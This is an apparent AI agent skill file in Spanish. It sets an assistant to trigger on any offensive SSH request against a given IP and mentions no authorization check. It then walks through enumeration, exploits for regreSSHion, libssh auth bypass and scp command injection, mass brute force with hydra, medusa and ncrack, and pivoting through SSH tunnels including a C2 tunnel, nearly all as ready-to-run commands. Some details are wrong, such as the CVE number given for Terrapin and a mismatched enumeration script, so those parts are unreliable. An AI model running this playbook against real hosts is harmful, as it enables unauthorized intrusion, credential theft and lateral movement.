| name | ssh-pentest |
| description | Usar esta skill SIEMPRE que el usuario quiera realizar pruebas de penetración, auditoría, enumeración, fuzzing, explotación o análisis de vulnerabilidades sobre el servicio SSH en una IP o FQDN. Activar cuando se mencionen: SSH, OpenSSH, puerto 22, sshd, fuerza bruta SSH, CVE SSH, regreSSHion, Terrapin, enumeración de usuarios, cifrados SSH débiles, fuerza bruta SSH, túneles ofensivos, captura de banner SSH, o cualquier técnica ofensiva sobre el protocolo SSH. También activar cuando el usuario proporcione una IP/FQDN y pida: reconocimiento SSH, explotar SSH, POC SSH, vector de ataque SSH, o credenciales SSH. Repositorio de referencia: https://github.com/hackingyseguridad/ssha/
|
Habilidad de Pentesting SSH — hackingyseguridad/ssha
Habilidad de auditoría ofensiva sobre servicios SSH. Cubre todo el ciclo: reconocimiento →
enumeración → análisis de cifrados → explotación de CVEs → fuerza bruta → postexplotación (túneles).
FASE 1 — Reconocimiento e identificación
1.1 Captura de banner y versión
nc -nv <IP> 22
ssh -v <IP> 2>&1 | grep "Remote protocol"
nmap -sV -p 22 --script ssh-hostkey,ssh2-enum-algos <IP>
1.2 Escaneo de cifrados ofrecidos
nmap -p 22 --script ssh2-enum-algos <IP>
ssh-audit <IP>
pip install ssh-audit && ssh-audit <IP>
bash scanciphers.sh <IP>
bash ssh-audit.sh <IP>
1.3 Detección de versión vulnerable (decisión rápida)
| Versión OpenSSH detectada | CVEs prioritarios a probar |
|---|
| 8.5p1 – 9.7p1 | CVE-2024-6387 (regreSSHion) CRÍTICO 9.8 |
| 2.3 – 7.7 | CVE-2018-15473 (enumeración de usuarios) MEDIO 5.3 |
| 5.4 – 7.1 | CVE-2016-0777 (fuga de memoria) MEDIO 4.0 |
| hasta 8.3p1 | CVE-2020-15778 (ejecución remota en cliente) MEDIO 6.8 |
| hasta 7.9 | CVE-2019-6111 (sobreescritura de ficheros) MEDIO 5.7 |
| versiones específicas | CVE-2023-38408 (escalada de privilegios ssh-agent) MEDIO 5.9 |
| 8.5p1 | CVE-2021-41617 (escalada de privilegios sshd) ALTO 7.8 |
| 7.7 – 7.9 | CVE-2019-16905 (caída del servicio) MEDIO 6.8 |
| hasta 8.3 | CVE-2020-14145 (fuga de información) MEDIO 4.3 |
| 7.8 | CVE-2018-15919 (caída del servicio) MEDIO 5.3 |
FASE 2 — Enumeración de usuarios
CVE-2018-15473 — Enumeración de usuarios (OpenSSH < 7.7)
python3 ssh-username-enum.py <IP> -u root
python3 ssh-username-enum.py <IP> -U /usr/share/wordlists/users.txt
bash sshusers.sh <IP>
bash sshuserslist.sh <IP>
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS <IP>
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
run
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP>
Indicadores de usuario válido: diferencia de tiempo en la respuesta (≥300 ms de diferencia).
FASE 3 — Análisis de cifrados débiles (Terrapin / heredados)
CVE-2023-51767 — Ataque Terrapin (truncamiento de prefijo)
./Terrapin_Scanner_Linux_amd64 <IP>
./Terrapin_Scanner_Linux_i386 <IP>
bash terapinscan.sh <IP>
Resultado vulnerable: ChaCha20-Poly1305 o CBC con Encrypt-then-MAC habilitados sin mitigación.
Conexión con cifrados heredados u obsoletos (ssha/sshb/sshc)
ssh -o KexAlgorithms=diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-o Ciphers=aes128-cbc \
usuario@<IP>
nmap -p 22 --script ssh2-enum-algos <IP> | grep -E "weak|insecure|removed"
FASE 4 — Explotación de CVEs
CVE-2024-6387 — regreSSHion (ejecución remota de código como root, CRÍTICO 9.8)
Afecta: OpenSSH 8.5p1 – 9.7p1 en Linux con glibc
nmap -p 22 --script CVE-2024-6387.nse <IP>
python3 CVE-2024-6387.py <IP>
gcc cve-2024-6387.c -o regresshion
./regresshion <IP>
CVE-2018-15473 — Enumeración de usuarios (MEDIO 5.3)
Afecta: OpenSSH 2.3 < 7.7
python3 CVE-2016-6210.py <IP> root
python3 ssh-username-enum.py <IP> -u admin
CVE-2020-15778 — Inyección de comandos en SCP (MEDIO 6.8)
Afecta: OpenSSH hasta 8.3p1 — ejecución arbitraria en el cliente vía scp
bash CVE-2020-15778_exploit.sh
python3 cve_2020_15778.py <IP>
scp usuario@<IP>:'\`touch /tmp/pwned\`' /dev/null
CVE-2018-10933 — Omisión de autenticación en libssh (CRÍTICO 9.8)
Afecta: libssh 0.6.0 – 0.7.5 / 0.8.0 – 0.8.3 (distinto de OpenSSH)
python3 CVE-2018-10933.py <IP> 22
CVE-2015-6564 — Escalada de privilegios mediante UseLogin
bash CVE-2015-6564.sh <IP>
CVE-2023-34039 — Omisión de autenticación SSH en VMware Aria
python3 cve-2023-34039.py <IP>
FASE 5 — Fuerza bruta de credenciales
Scripts del repositorio ssha
bash brutessh.sh <IP>
bash brutessh1.sh <IP>
bash brutessh2.sh <IP>
bash brutessh3.sh <IP>
bash brutessh4.sh <IP>
bash brutessh6.sh <IP>
bash brutessh8.sh <IP>
bash brutesshmasivo.sh /ruta/a/ips.txt
Herramientas externas recomendadas
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4
medusa -h <IP> -U users.txt -P claves.txt -M ssh
ncrack -p 22 --user root -P claves.txt <IP>
bash claveprivada.sh <IP> usuario id_rsa_encontrada
bash ssh_claveprivada.sh <IP>
python3 sshpass.sh <IP> usuario clave
FASE 6 — Postexplotación y túneles SSH
ssh -L 8080:localhost:80 usuario@<IP>
ssh -R 4444:localhost:4444 usuario@<IP>
ssh -D 9050 usuario@<IP>
proxychains nmap -sT <red_interna>
ssh -J usuario@<IP_pivote>:22 usuario@<IP_objetivo>
bash tunel_panel_c2.sh <IP> <puerto_c2>
Referencia completa: tuneles_ssh.md en el repositorio ssha.
FASE 7 — Verificación y registros (evidencias del pentest)
bash verlogssh.sh
bash verconexiones.sh
bash verserverkeys.sh
bash versionssh.sh <IP>
bash verssh.sh <IP>
PLANTILLA DE HALLAZGO SSH PARA INFORME
HALLAZGO: [Nombre del CVE / Técnica]
Servicio: SSH / OpenSSH [versión]
IP/FQDN: [objetivo]
Puerto: 22 (o personalizado)
CVSS v3.1: [puntuación] ([Crítico/Alto/Medio/Bajo])
Vector: [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]
DESCRIPCIÓN:
[Descripción técnica del problema]
PRUEBA DE CONCEPTO / EVIDENCIA:
$ [comando ejecutado]
[salida recortada]
IMPACTO:
[Ejecución remota / Escalada de privilegios / Fuga de información / Caída del servicio / Omisión de autenticación]
REMEDIACIÓN:
- Actualizar OpenSSH a la versión >= [versión parcheada]
- [Medidas adicionales de bastionado]
REFERENCIAS:
- https://nvd.nist.gov/vuln/detail/[CVE]
- https://github.com/hackingyseguridad/ssha/
INSTALACIÓN RÁPIDA (Kali Linux)
git clone https://github.com/hackingyseguridad/ssha.git
cd ssha
pip install -r requirements.txt --break-system-packages
chmod +x Terrapin_Scanner_Linux_amd64 Terrapin_Scanner_Linux_i386
chmod +x ssha sshb sshc sshd
bash instalar.sh
REFERENCIAS